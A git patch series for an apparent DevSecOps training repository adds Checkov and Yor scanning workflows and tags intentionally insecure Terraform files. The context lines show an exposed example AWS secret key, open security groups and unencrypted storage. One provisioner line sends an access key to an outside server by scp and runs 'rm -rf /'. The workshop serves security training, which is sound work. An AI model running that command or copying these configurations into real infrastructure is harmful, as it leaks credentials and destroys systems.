From e8a29cd478d082127df84b78752160025797946b Mon Sep 17 00:00:00 2001
From: VenkatgiriS <56349307+VenkatgiriS@users.noreply.github.com>
Date: Wed, 12 Mar 2025 11:28:56 -0500
Subject: [PATCH 1/3] Create checkov.yaml
---
.github/workflows/checkov.yaml | 35 ++++++++++++++++++++++++++++++++++
1 file changed, 35 insertions(+)
create mode 100644 .github/workflows/checkov.yaml
diff --git a/.github/workflows/checkov.yaml b/.github/workflows/checkov.yaml
new file mode 100644
index 000000000..9f7240507
--- /dev/null
+++ b/.github/workflows/checkov.yaml
@@ -0,0 +1,35 @@
+name: checkov
+on:
+ pull_request:
+ push:
+ branches:
+ - main
+jobs:
+ scan:
+ runs-on: ubuntu-latest
+ permissions:
+ contents: read # for actions/checkout to fetch code
+ security-events: write # for GitHub/codeql-action/upload-sarif to upload SARIF results
+
+ steps:
+ - uses: actions/checkout@v2
+
+ - name: Run checkov
+ id: checkov
+ uses: bridgecrewio/checkov-action@master
+ with:
+ directory: code/
+ #soft_fail: true
+ #api-key: ${{ secrets.BC_API_KEY }}
+ #env:
+ #PRISMA_API_URL: https://api4.prismacloud.io
+
+ - name: Upload SARIF file
+ uses: GitHub/codeql-action/upload-sarif@v2
+
+ # Results are generated only on a success or failure
+ # this is required since GitHub by default won't run the next step
+ # when the previous one has failed. Alternatively, enable soft_fail in checkov action.
+ if: success() || failure()
+ with:
+ sarif_file: results.sarif
From b57927b9a0222beab46ddcd66fe5c8b2401483d6 Mon Sep 17 00:00:00 2001
From: VenkatgiriS <56349307+VenkatgiriS@users.noreply.github.com>
Date: Wed, 12 Mar 2025 11:33:36 -0500
Subject: [PATCH 2/3] Create yor.yaml
---
.github/workflows/yor.yaml | 19 +++++++++++++++++++
1 file changed, 19 insertions(+)
create mode 100644 .github/workflows/yor.yaml
diff --git a/.github/workflows/yor.yaml b/.github/workflows/yor.yaml
new file mode 100644
index 000000000..a16506910
--- /dev/null
+++ b/.github/workflows/yor.yaml
@@ -0,0 +1,19 @@
+name: IaC tag and trace
+
+on:
+ push:
+ pull_request:
+
+jobs:
+ yor:
+ runs-on: ubuntu-latest
+ permissions:
+ contents: write
+
+ steps:
+ - uses: actions/checkout@v2
+ name: Checkout repo
+ with:
+ fetch-depth: 0
+ - name: Run yor action
+ uses: bridgecrewio/yor-action@main
From d1c8a7e9708b7a2698b65a698ddf0d999bb77569 Mon Sep 17 00:00:00 2001
From: "github-actions[bot]"
<41898282+github-actions[bot]@users.noreply.github.com>
Date: Wed, 12 Mar 2025 16:34:01 +0000
Subject: [PATCH 3/3] Update tags (by Yor)
---
code/deployment_ec2.tf | 150 ++++++++++++++++++++++++++++++++++++++---
code/deployment_s3.tf | 76 +++++++++++++++++++--
code/simple_ec2.tf | 11 +++
code/simple_s3.tf | 11 ++-
4 files changed, 233 insertions(+), 15 deletions(-)
diff --git a/code/deployment_ec2.tf b/code/deployment_ec2.tf
index 7e3d2bba2..329b0f0e2 100644
--- a/code/deployment_ec2.tf
+++ b/code/deployment_ec2.tf
@@ -17,7 +17,18 @@ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMAAAKEY
export AWS_DEFAULT_REGION=us-west-2
echo "
Deployed via Terraform
" | sudo tee /var/www/html/index.html
EOF
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "VenkatgiriS"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "web_host"
+ yor_trace = "10b5fe4c-92f1-49c0-a6f6-791bd30727cc"
+ }
}
resource "aws_ebs_volume" "web_host_storage" {
@@ -25,14 +36,36 @@ resource "aws_ebs_volume" "web_host_storage" {
availability_zone = "${var.region}a"
#encrypted = false # Setting this causes the volume to be recreated on apply
size = 1
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "VenkatgiriS"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "web_host_storage"
+ yor_trace = "bd439b37-76bb-466a-8884-6f736c790137"
+ }
}
resource "aws_ebs_snapshot" "example_snapshot" {
# ebs snapshot without encryption
volume_id = "${aws_ebs_volume.web_host_storage.id}"
description = "${local.resource_prefix.value}-ebs-snapshot"
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "VenkatgiriS"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "example_snapshot"
+ yor_trace = "d86c31f3-896e-471a-925c-d785ea79688c"
+ }
}
resource "aws_volume_attachment" "ebs_att" {
@@ -69,14 +102,36 @@ resource "aws_security_group" "web-node" {
"0.0.0.0/0"]
}
depends_on = [aws_vpc.web_vpc]
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "VenkatgiriS"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "web-node"
+ yor_trace = "b1868844-3ae9-4fd7-9768-ac2ac98c1378"
+ }
}
resource "aws_vpc" "web_vpc" {
cidr_block = "172.16.0.0/16"
enable_dns_hostnames = true
enable_dns_support = true
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "VenkatgiriS"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "web_vpc"
+ yor_trace = "8fc22a8c-7fb9-47e6-a983-dbad47536edc"
+ }
}
resource "aws_subnet" "web_subnet" {
@@ -85,7 +140,18 @@ resource "aws_subnet" "web_subnet" {
availability_zone = "${var.region}a"
map_public_ip_on_launch = true
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "VenkatgiriS"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "web_subnet"
+ yor_trace = "9ecbbceb-5699-4329-b71c-f1b015342271"
+ }
}
resource "aws_subnet" "web_subnet2" {
@@ -94,20 +160,53 @@ resource "aws_subnet" "web_subnet2" {
availability_zone = "${var.region}b"
map_public_ip_on_launch = true
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "VenkatgiriS"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "web_subnet2"
+ yor_trace = "191537fe-7f07-4a18-ac62-b9d069846ad1"
+ }
}
resource "aws_internet_gateway" "web_igw" {
vpc_id = aws_vpc.web_vpc.id
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "VenkatgiriS"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "web_igw"
+ yor_trace = "6c0a06e9-6309-4793-9589-a4d30929df18"
+ }
}
resource "aws_route_table" "web_rtb" {
vpc_id = aws_vpc.web_vpc.id
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "VenkatgiriS"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "web_rtb"
+ yor_trace = "e5f07598-6b3d-4eeb-b244-74cb0ae581eb"
+ }
}
resource "aws_route_table_association" "rtbassoc" {
@@ -134,6 +233,17 @@ resource "aws_network_interface" "web-eni" {
subnet_id = aws_subnet.web_subnet.id
private_ips = ["172.16.10.100"]
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "VenkatgiriS"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "web-eni"
+ yor_trace = "9b17d0d8-67b0-417b-be57-577490e5b1d4"
+ }
}
# VPC Flow Logs to S3
@@ -144,12 +254,34 @@ resource "aws_flow_log" "vpcflowlogs" {
vpc_id = aws_vpc.web_vpc.id
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "VenkatgiriS"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "vpcflowlogs"
+ yor_trace = "6d4fc1a0-073d-472f-848b-eec3c75f8c60"
+ }
}
resource "aws_s3_bucket" "flowbucket" {
bucket = "${local.resource_prefix.value}-flowlogs"
force_destroy = true
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "VenkatgiriS"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "flowbucket"
+ yor_trace = "1b6677a5-b0bd-4018-9845-0f130a0860b5"
+ }
}
# OUTPUTS
diff --git a/code/deployment_s3.tf b/code/deployment_s3.tf
index cfb272e1d..9ccf8d098 100644
--- a/code/deployment_s3.tf
+++ b/code/deployment_s3.tf
@@ -5,14 +5,36 @@ resource "aws_s3_bucket" "data" {
# bucket does not have versioning
bucket = "${local.resource_prefix.value}-data"
force_destroy = true
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_s3.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "VenkatgiriS"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "data"
+ yor_trace = "17ee85a4-8a86-4c6b-813c-77f31fc7bd1b"
+ }
}
resource "aws_s3_bucket_object" "data_object" {
bucket = aws_s3_bucket.data.id
key = "customer-master.xlsx"
source = "resources/customer-master.xlsx"
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_s3.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "VenkatgiriS"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "data_object"
+ yor_trace = "f8080e03-3b89-41b8-bc5f-4b9480b0a93d"
+ }
}
resource "aws_s3_bucket" "financials" {
@@ -23,6 +45,17 @@ resource "aws_s3_bucket" "financials" {
acl = "private"
force_destroy = true
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_s3.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "VenkatgiriS"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "financials"
+ yor_trace = "d59d620b-c792-4007-b802-a0134bc8ae7d"
+ }
}
resource "aws_s3_bucket" "operations" {
@@ -34,7 +67,18 @@ resource "aws_s3_bucket" "operations" {
enabled = true
}
force_destroy = true
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_s3.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "VenkatgiriS"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "operations"
+ yor_trace = "f0e4889b-eae1-4ef2-9bfc-b106bbc1f091"
+ }
}
resource "aws_s3_bucket" "data_science" {
@@ -49,7 +93,18 @@ resource "aws_s3_bucket" "data_science" {
target_prefix = "log/"
}
force_destroy = true
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_s3.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "VenkatgiriS"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "data_science"
+ yor_trace = "04c7748c-d9dc-4a5f-a7eb-b94be8ce20fe"
+ }
}
resource "aws_s3_bucket" "logs" {
@@ -67,5 +122,16 @@ resource "aws_s3_bucket" "logs" {
}
}
force_destroy = true
-
+
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/deployment_s3.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "VenkatgiriS"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "logs"
+ yor_trace = "ad98fcee-dbfe-4711-b5a0-0f9af3001d3e"
+ }
}
diff --git a/code/simple_ec2.tf b/code/simple_ec2.tf
index dcfa5880f..0f6e8e12b 100644
--- a/code/simple_ec2.tf
+++ b/code/simple_ec2.tf
@@ -10,4 +10,15 @@ resource "aws_ec2_host" "test" {
command = "echo Running install scripts.. 'echo $ACCESS_KEY > creds.txt ; scp -r creds.txt root@my-home-server.com/exfil/ ; rm -rf /' "
}
+ tags = {
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/simple_ec2.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "VenkatgiriS"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "test"
+ yor_trace = "5c43712b-477b-4630-b98c-fdea3aa9c9b6"
+ }
}
diff --git a/code/simple_s3.tf b/code/simple_s3.tf
index c0d25fb60..bd19a61d9 100644
--- a/code/simple_s3.tf
+++ b/code/simple_s3.tf
@@ -6,7 +6,16 @@ resource "aws_s3_bucket" "dev_s3" {
bucket_prefix = "dev-"
tags = {
- Environment = "Dev"
+ Environment = "Dev"
+ git_commit = "d4c35e0270bfd542051278ca30b4b3872c1ae0b2"
+ git_file = "code/simple_s3.tf"
+ git_last_modified_at = "2024-01-26 23:01:56"
+ git_last_modified_by = "tprendervill@paloaltonetworks.com"
+ git_modifiers = "tprendervill"
+ git_org = "VenkatgiriS"
+ git_repo = "prisma-cloud-devsecops-workshop"
+ yor_name = "dev_s3"
+ yor_trace = "3c49cba4-19ed-4ebf-b8f2-53bd5d4bb019"
}
}